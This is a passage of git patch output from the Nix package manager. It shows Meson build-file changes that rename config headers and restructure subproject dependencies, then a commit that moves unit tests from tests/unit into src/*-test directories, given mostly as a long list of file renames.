for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +foreach nix_dep : [ + dependency('nix-util-c'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +config_h = configure_file( + configuration : configdata, + output : 'config-store.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + '-include', 'config-store.hh', + + # From C libraries, for our public, installed headers too + '-include', 'config-util.h', + '-include', 'config-store.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'nix_api_store.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'nix_api_store.h', +) + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +this_library = library( + 'nixstorec', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires_private = [] +foreach dep : deps_private_subproject + requires_private += dep.name() +endforeach +requires_private += deps_private + +requires_public = [] +foreach dep : deps_public_subproject + requires_public += dep.name() +endforeach +requires_public += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires_public, + requires_private : requires_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : [], +)) diff --git a/src/libstore/meson.build b/src/libstore/meson.build index c2384dd78..7277eb49d 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -162,14 +162,14 @@ endif config_h = configure_file( configuration : configdata, - output : 'config-store.h', + output : 'config-store.hh', ) add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. - '-include', 'config-util.h', - '-include', 'config-store.h', + '-include', 'config-util.hh', + '-include', 'config-store.hh', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 5de288e18..7ebbe3d06 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -17,19 +17,60 @@ cxx = meson.get_compiler('cpp') # See note in ../nix-util/meson.build deps_private = [ ] +# See note in ../nix-util/meson.build +deps_private_subproject = [ ] + # See note in ../nix-util/meson.build deps_public = [ ] +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + # See note in ../nix-util/meson.build deps_other = [ ] configdata = configuration_data() +foreach nix_dep : [ + dependency('nix-util'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +foreach nix_dep : [ +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-util.h', +) + add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + + # From C libraries, for our public, installed headers too '-include', 'config-util.h', - # '-include', 'config-store.h', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', @@ -52,13 +93,12 @@ sources = files( include_dirs = [include_directories('.')] -headers = files( +headers = [config_h] + files( 'nix_api_util.h', - 'nix_api_util_internal.h', ) if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared + # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared # objects --- see https://gcc.gnu.org/wiki/Visibility for details. # This is a temporary sledgehammer to export everything like on Unix, # and not detail with this yet. @@ -69,22 +109,6 @@ else linker_export_flags = [] endif -nix_util = dependency('nix-util') -if nix_util.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_util -else - deps_public += nix_util -endif - -# TODO rename, because it will conflict with downstream projects -configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) - -config_h = configure_file( - configuration : configdata, - output : 'config-util.h', -) - this_library = library( 'nixutilc', sources, @@ -96,7 +120,17 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -libraries_private = [] +requires_private = [] +foreach dep : deps_private_subproject + requires_private += dep.name() +endforeach +requires_private += deps_private + +requires_public = [] +foreach dep : deps_public_subproject + requires_public += dep.name() +endforeach +requires_public += deps_public import('pkgconfig').generate( this_library, @@ -105,9 +139,8 @@ import('pkgconfig').generate( description : 'Nix Package Manager', subdirs : ['nix'], extra_cflags : ['-std=c++2a'], - requires : deps_public, - requires_private : deps_private, - libraries_private : libraries_private, + requires : requires_public, + requires_private : requires_private, ) meson.override_dependency(meson.project_name(), declare_dependency( diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 099c0c65f..c9dfee651 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -132,13 +132,13 @@ deps_public += nlohmann_json config_h = configure_file( configuration : configdata, - output : 'config-util.h', + output : 'config-util.hh', ) add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. - '-include', 'config-util.h', + '-include', 'config-util.hh', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', diff --git a/src/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs index acce25f3a..f951437c8 100644 --- a/src/perl/lib/Nix/Store.xs +++ b/src/perl/lib/Nix/Store.xs @@ -1,5 +1,5 @@ -#include "config-util.h" -#include "config-store.h" +#include "config-util.hh" +#include "config-store.hh" #include "EXTERN.h" #include "perl.h" From 17a8c2bfce97bc857ddd519ae7054d7d930ced39 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 11:28:08 -0400 Subject: [PATCH 0943/1251] Unit tests and external libraries --- .gitignore | 10 +- Makefile | 19 --- Makefile.config.in | 1 - configure.ac | 22 --- doc/manual/src/contributing/hacking.md | 1 - doc/manual/src/contributing/testing.md | 10 +- maintainers/flake-module.nix | 122 ++++++++-------- meson.build | 11 +- mk/common-test.sh | 2 +- package.nix | 35 +---- packaging/components.nix | 32 ++++- src/internal-api-docs/doxygen.cfg.in | 42 +++--- src/internal-api-docs/package.nix | 1 - src/libexpr-test-support/.version | 1 + src/libexpr-test-support/meson.build | 128 +++++++++++++++++ .../libexpr-test-support}/tests/libexpr.hh | 0 .../tests/nix_api_expr.hh | 0 .../tests/value/context.cc | 0 .../tests/value/context.hh | 0 src/libexpr-test/.version | 1 + .../libexpr-test}/derived-path.cc | 0 .../libexpr-test}/error_traces.cc | 0 .../unit/libexpr => src/libexpr-test}/eval.cc | 0 .../unit/libexpr => src/libexpr-test}/json.cc | 0 .../unit/libexpr => src/libexpr-test}/main.cc | 0 src/libexpr-test/meson.build | 125 +++++++++++++++++ .../libexpr-test}/nix_api_expr.cc | 0 .../libexpr-test}/nix_api_external.cc | 0 .../libexpr-test}/nix_api_value.cc | 0 .../libexpr => src/libexpr-test}/primops.cc | 0 .../libexpr-test}/search-path.cc | 0 .../libexpr => src/libexpr-test}/trivial.cc | 0 .../libexpr-test}/value/context.cc | 0 .../libexpr-test}/value/print.cc | 0 .../libexpr-test}/value/value.cc | 0 src/libfetchers-test/.version | 1 + .../data/public-key/defaultType.json | 0 .../data/public-key/noRoundTrip.json | 0 .../data/public-key/simple.json | 0 src/libfetchers-test/meson.build | 109 +++++++++++++++ .../libfetchers-test}/public-key.cc | 0 src/libflake-test/.version | 1 + .../libflake-test}/flakeref.cc | 0 src/libflake-test/meson.build | 114 +++++++++++++++ .../libflake-test}/url-name.cc | 0 src/libstore-test-support/.version | 1 + src/libstore-test-support/meson.build | 130 ++++++++++++++++++ .../tests/derived-path.cc | 0 .../tests/derived-path.hh | 0 .../libstore-test-support}/tests/libstore.hh | 0 .../tests/nix_api_store.hh | 0 .../tests/outputs-spec.cc | 0 .../tests/outputs-spec.hh | 0 .../libstore-test-support}/tests/path.cc | 0 .../libstore-test-support}/tests/path.hh | 0 .../libstore-test-support}/tests/protocol.hh | 0 src/libstore-test/.version | 1 + .../libstore-test}/common-protocol.cc | 0 .../libstore-test}/content-address.cc | 0 .../data/common-protocol/content-address.bin | Bin .../data/common-protocol/drv-output.bin | Bin .../optional-content-address.bin | Bin .../common-protocol/optional-store-path.bin | Bin .../data/common-protocol/realisation.bin | Bin .../data/common-protocol/set.bin | Bin .../data/common-protocol/store-path.bin | Bin .../data/common-protocol/string.bin | Bin .../data/common-protocol/vector.bin | Bin .../advanced-attributes-defaults.drv | 0 .../advanced-attributes-defaults.json | 0 ...d-attributes-structured-attrs-defaults.drv | 0 ...-attributes-structured-attrs-defaults.json | 0 .../advanced-attributes-structured-attrs.drv | 0 .../advanced-attributes-structured-attrs.json | 0 .../data/derivation/advanced-attributes.drv | 0 .../derivation/bad-old-version-dyn-deps.drv | 0 .../data/derivation/bad-version.drv | 0 .../data/derivation/dynDerivationDeps.drv | 0 .../data/derivation/dynDerivationDeps.json | 0 .../data/derivation/output-caFixedFlat.json | 0 .../data/derivation/output-caFixedNAR.json | 0 .../data/derivation/output-caFixedText.json | 0 .../data/derivation/output-caFloating.json | 0 .../data/derivation/output-deferred.json | 0 .../data/derivation/output-impure.json | 0 .../derivation/output-inputAddressed.json | 0 .../libstore-test}/data/derivation/simple.drv | 0 .../data/derivation/simple.json | 0 .../libstore-test}/data/machines/bad_format | 0 .../libstore-test}/data/machines/valid | 0 .../libstore-test}/data/nar-info/impure.json | 0 .../libstore-test}/data/nar-info/pure.json | 0 .../data/path-info/empty_impure.json | 0 .../data/path-info/empty_pure.json | 0 .../libstore-test}/data/path-info/impure.json | 0 .../libstore-test}/data/path-info/pure.json | 0 .../data/serve-protocol/build-options-2.1.bin | Bin .../data/serve-protocol/build-options-2.2.bin | Bin .../data/serve-protocol/build-options-2.3.bin | Bin .../data/serve-protocol/build-options-2.7.bin | Bin .../data/serve-protocol/build-result-2.2.bin | Bin .../data/serve-protocol/build-result-2.3.bin | Bin .../data/serve-protocol/build-result-2.6.bin | Bin .../data/serve-protocol/content-address.bin | Bin .../data/serve-protocol/drv-output.bin | Bin .../serve-protocol/handshake-to-client.bin | Bin .../optional-content-address.bin | Bin .../serve-protocol/optional-store-path.bin | Bin .../data/serve-protocol/realisation.bin | Bin .../data/serve-protocol/set.bin | Bin .../data/serve-protocol/store-path.bin | Bin .../data/serve-protocol/string.bin | Bin .../unkeyed-valid-path-info-2.3.bin | Bin .../unkeyed-valid-path-info-2.4.bin | Bin .../data/serve-protocol/vector.bin | Bin .../data/store-reference/auto.txt | 0 .../data/store-reference/auto_param.txt | 0 .../data/store-reference/local_1.txt | 0 .../data/store-reference/local_2.txt | 0 .../store-reference/local_shorthand_1.txt | 0 .../store-reference/local_shorthand_2.txt | 0 .../data/store-reference/ssh.txt | 0 .../data/store-reference/unix.txt | 0 .../data/store-reference/unix_shorthand.txt | 0 .../data/worker-protocol/build-mode.bin | Bin .../worker-protocol/build-result-1.27.bin | Bin .../worker-protocol/build-result-1.28.bin | Bin .../worker-protocol/build-result-1.29.bin | Bin .../worker-protocol/build-result-1.37.bin | Bin .../client-handshake-info_1_30.bin | 0 .../client-handshake-info_1_33.bin | Bin .../client-handshake-info_1_35.bin | Bin .../data/worker-protocol/content-address.bin | Bin .../worker-protocol/derived-path-1.29.bin | Bin .../worker-protocol/derived-path-1.30.bin | Bin .../data/worker-protocol/drv-output.bin | Bin .../worker-protocol/handshake-to-client.bin | Bin .../keyed-build-result-1.29.bin | Bin .../optional-content-address.bin | Bin .../worker-protocol/optional-store-path.bin | Bin .../worker-protocol/optional-trusted-flag.bin | Bin .../data/worker-protocol/realisation.bin | Bin .../data/worker-protocol/set.bin | Bin .../data/worker-protocol/store-path.bin | Bin .../data/worker-protocol/string.bin | Bin .../unkeyed-valid-path-info-1.15.bin | Bin .../worker-protocol/valid-path-info-1.15.bin | Bin .../worker-protocol/valid-path-info-1.16.bin | Bin .../data/worker-protocol/vector.bin | Bin .../derivation-advanced-attrs.cc | 0 .../libstore-test}/derivation.cc | 0 .../libstore-test}/derived-path.cc | 0 .../libstore-test}/downstream-placeholder.cc | 0 .../libstore-test}/machines.cc | 0 src/libstore-test/meson.build | 123 +++++++++++++++++ .../libstore-test}/nar-info-disk-cache.cc | 0 .../libstore-test}/nar-info.cc | 0 .../libstore-test}/nix_api_store.cc | 0 .../libstore-test}/outputs-spec.cc | 0 .../libstore-test}/path-info.cc | 0 .../libstore => src/libstore-test}/path.cc | 0 .../libstore-test}/references.cc | 0 .../libstore-test}/serve-protocol.cc | 0 .../libstore-test}/store-reference.cc | 0 .../libstore-test}/worker-protocol.cc | 0 src/libutil-test | 1 - src/libutil-test-support | 1 - src/libutil-test-support/.version | 1 + .../libutil-test-support}/meson.build | 3 + .../libutil-test-support}/package.nix | 0 .../tests/characterization.hh | 0 .../libutil-test-support}/tests/hash.cc | 0 .../libutil-test-support}/tests/hash.hh | 0 .../tests/nix_api_util.hh | 0 .../tests/string_callback.cc | 0 .../tests/string_callback.hh | 0 src/libutil-test/.version | 1 + .../unit/libutil => src/libutil-test}/args.cc | 0 .../libutil-test}/canon-path.cc | 0 .../libutil-test}/chunked-vector.cc | 0 .../libutil => src/libutil-test}/closure.cc | 0 .../libutil-test}/compression.cc | 0 .../libutil => src/libutil-test}/config.cc | 0 .../libutil-test}/data/git/check-data.sh | 0 .../data/git/hello-world-blob.bin | Bin .../libutil-test}/data/git/hello-world.bin | Bin .../libutil-test}/data/git/tree.bin | Bin .../libutil-test}/data/git/tree.txt | 0 .../libutil-test}/file-content-address.cc | 0 .../unit/libutil => src/libutil-test}/git.cc | 2 +- .../unit/libutil => src/libutil-test}/hash.cc | 0 .../libutil => src/libutil-test}/hilite.cc | 0 .../libutil-test}/json-utils.cc | 0 .../libutil => src/libutil-test}/logging.cc | 0 .../libutil => src/libutil-test}/lru-cache.cc | 0 .../libutil => src/libutil-test}/meson.build | 17 +-- .../libutil-test}/nix_api_util.cc | 0 .../libutil => src/libutil-test}/package.nix | 0 .../unit/libutil => src/libutil-test}/pool.cc | 0 .../libutil-test}/references.cc | 0 .../libutil => src/libutil-test}/spawn.cc | 0 .../libutil-test}/suggestions.cc | 0 .../libutil => src/libutil-test}/tests.cc | 0 .../unit/libutil => src/libutil-test}/url.cc | 0 .../libutil-test}/xml-writer.cc | 0 tests/unit/libexpr-support/local.mk | 23 ---- tests/unit/libexpr/local.mk | 45 ------ tests/unit/libfetchers/local.mk | 37 ----- tests/unit/libflake/local.mk | 43 ------ tests/unit/libstore-support/local.mk | 21 --- tests/unit/libstore/local.mk | 38 ----- tests/unit/libutil-support/.version | 1 - tests/unit/libutil-support/local.mk | 19 --- tests/unit/libutil/.version | 1 - tests/unit/libutil/local.mk | 37 ----- 215 files changed, 873 insertions(+), 461 deletions(-) create mode 120000 src/libexpr-test-support/.version create mode 100644 src/libexpr-test-support/meson.build rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/libexpr.hh (100%) rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/nix_api_expr.hh (100%) rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/value/context.cc (100%) rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/value/context.hh (100%) create mode 120000 src/libexpr-test/.version rename {tests/unit/libexpr => src/libexpr-test}/derived-path.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/error_traces.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/eval.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/json.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/main.cc (100%) create mode 100644 src/libexpr-test/meson.build rename {tests/unit/libexpr => src/libexpr-test}/nix_api_expr.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/nix_api_external.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/nix_api_value.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/primops.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/search-path.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/trivial.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/value/context.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/value/print.cc (100%) rename {tests/unit/libexpr => src/libexpr-test}/value/value.cc (100%) create mode 120000 src/libfetchers-test/.version rename {tests/unit/libfetchers => src/libfetchers-test}/data/public-key/defaultType.json (100%) rename {tests/unit/libfetchers => src/libfetchers-test}/data/public-key/noRoundTrip.json (100%) rename {tests/unit/libfetchers => src/libfetchers-test}/data/public-key/simple.json (100%) create mode 100644 src/libfetchers-test/meson.build rename {tests/unit/libfetchers => src/libfetchers-test}/public-key.cc (100%) create mode 120000 src/libflake-test/.version rename {tests/unit/libflake => src/libflake-test}/flakeref.cc (100%) create mode 100644 src/libflake-test/meson.build rename {tests/unit/libflake => src/libflake-test}/url-name.cc (100%) create mode 120000 src/libstore-test-support/.version create mode 100644 src/libstore-test-support/meson.build rename {tests/unit/libstore-support => src/libstore-test-support}/tests/derived-path.cc (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/derived-path.hh (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/libstore.hh (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/nix_api_store.hh (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/outputs-spec.cc (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/outputs-spec.hh (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/path.cc (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/path.hh (100%) rename {tests/unit/libstore-support => src/libstore-test-support}/tests/protocol.hh (100%) create mode 120000 src/libstore-test/.version rename {tests/unit/libstore => src/libstore-test}/common-protocol.cc (100%) rename {tests/unit/libstore => src/libstore-test}/content-address.cc (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/content-address.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/drv-output.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/optional-content-address.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/optional-store-path.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/realisation.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/set.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/store-path.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/string.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/vector.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-defaults.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-defaults.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs-defaults.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs-defaults.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/bad-old-version-dyn-deps.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/bad-version.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/dynDerivationDeps.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/dynDerivationDeps.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFixedFlat.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFixedNAR.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFixedText.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFloating.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-deferred.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-impure.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-inputAddressed.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/simple.drv (100%) rename {tests/unit/libstore => src/libstore-test}/data/derivation/simple.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/machines/bad_format (100%) rename {tests/unit/libstore => src/libstore-test}/data/machines/valid (100%) rename {tests/unit/libstore => src/libstore-test}/data/nar-info/impure.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/nar-info/pure.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/path-info/empty_impure.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/path-info/empty_pure.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/path-info/impure.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/path-info/pure.json (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.1.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.2.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.3.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.7.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-result-2.2.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-result-2.3.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-result-2.6.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/content-address.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/drv-output.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/handshake-to-client.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/optional-content-address.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/optional-store-path.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/realisation.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/set.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/store-path.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/string.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/unkeyed-valid-path-info-2.3.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/unkeyed-valid-path-info-2.4.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/vector.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/auto.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/auto_param.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_1.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_2.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_shorthand_1.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_shorthand_2.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/ssh.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/unix.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/store-reference/unix_shorthand.txt (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-mode.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.27.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.28.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.29.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.37.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/client-handshake-info_1_30.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/client-handshake-info_1_33.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/client-handshake-info_1_35.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/content-address.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/derived-path-1.29.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/derived-path-1.30.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/drv-output.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/handshake-to-client.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/keyed-build-result-1.29.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/optional-content-address.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/optional-store-path.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/optional-trusted-flag.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/realisation.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/set.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/store-path.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/string.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/unkeyed-valid-path-info-1.15.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/valid-path-info-1.15.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/valid-path-info-1.16.bin (100%) rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/vector.bin (100%) rename {tests/unit/libstore => src/libstore-test}/derivation-advanced-attrs.cc (100%) rename {tests/unit/libstore => src/libstore-test}/derivation.cc (100%) rename {tests/unit/libstore => src/libstore-test}/derived-path.cc (100%) rename {tests/unit/libstore => src/libstore-test}/downstream-placeholder.cc (100%) rename {tests/unit/libstore => src/libstore-test}/machines.cc (100%) create mode 100644 src/libstore-test/meson.build rename {tests/unit/libstore => src/libstore-test}/nar-info-disk-cache.cc (100%) rename {tests/unit/libstore => src/libstore-test}/nar-info.cc (100%) rename {tests/unit/libstore => src/libstore-test}/nix_api_store.cc (100%) rename {tests/unit/libstore => src/libstore-test}/outputs-spec.cc (100%) rename {tests/unit/libstore => src/libstore-test}/path-info.cc (100%) rename {tests/unit/libstore => src/libstore-test}/path.cc (100%) rename {tests/unit/libstore => src/libstore-test}/references.cc (100%) rename {tests/unit/libstore => src/libstore-test}/serve-protocol.cc (100%) rename {tests/unit/libstore => src/libstore-test}/store-reference.cc (100%) rename {tests/unit/libstore => src/libstore-test}/worker-protocol.cc (100%) delete mode 120000 src/libutil-test delete mode 120000 src/libutil-test-support create mode 120000 src/libutil-test-support/.version rename {tests/unit/libutil-support => src/libutil-test-support}/meson.build (95%) rename {tests/unit/libutil-support => src/libutil-test-support}/package.nix (100%) rename {tests/unit/libutil-support => src/libutil-test-support}/tests/characterization.hh (100%) rename {tests/unit/libutil-support => src/libutil-test-support}/tests/hash.cc (100%) rename {tests/unit/libutil-support => src/libutil-test-support}/tests/hash.hh (100%) rename {tests/unit/libutil-support => src/libutil-test-support}/tests/nix_api_util.hh (100%) rename {tests/unit/libutil-support => src/libutil-test-support}/tests/string_callback.cc (100%) rename {tests/unit/libutil-support => src/libutil-test-support}/tests/string_callback.hh (100%) create mode 120000 src/libutil-test/.version rename {tests/unit/libutil => src/libutil-test}/args.cc (100%) rename {tests/unit/libutil => src/libutil-test}/canon-path.cc (100%) rename {tests/unit/libutil => src/libutil-test}/chunked-vector.cc (100%) rename {tests/unit/libutil => src/libutil-test}/closure.cc (100%) rename {tests/unit/libutil => src/libutil-test}/compression.cc (100%) rename {tests/unit/libutil => src/libutil-test}/config.cc (100%) rename {tests/unit/libutil => src/libutil-test}/data/git/check-data.sh (100%) rename {tests/unit/libutil => src/libutil-test}/data/git/hello-world-blob.bin (100%) rename {tests/unit/libutil => src/libutil-test}/data/git/hello-world.bin (100%) rename {tests/unit/libutil => src/libutil-test}/data/git/tree.bin (100%) rename {tests/unit/libutil => src/libutil-test}/data/git/tree.txt (100%) rename {tests/unit/libutil => src/libutil-test}/file-content-address.cc (100%) rename {tests/unit/libutil => src/libutil-test}/git.cc (99%) rename {tests/unit/libutil => src/libutil-test}/hash.cc (100%) rename {tests/unit/libutil => src/libutil-test}/hilite.cc (100%) rename {tests/unit/libutil => src/libutil-test}/json-utils.cc (100%) rename {tests/unit/libutil => src/libutil-test}/logging.cc (100%) rename {tests/unit/libutil => src/libutil-test}/lru-cache.cc (100%) rename {tests/unit/libutil => src/libutil-test}/meson.build (88%) rename 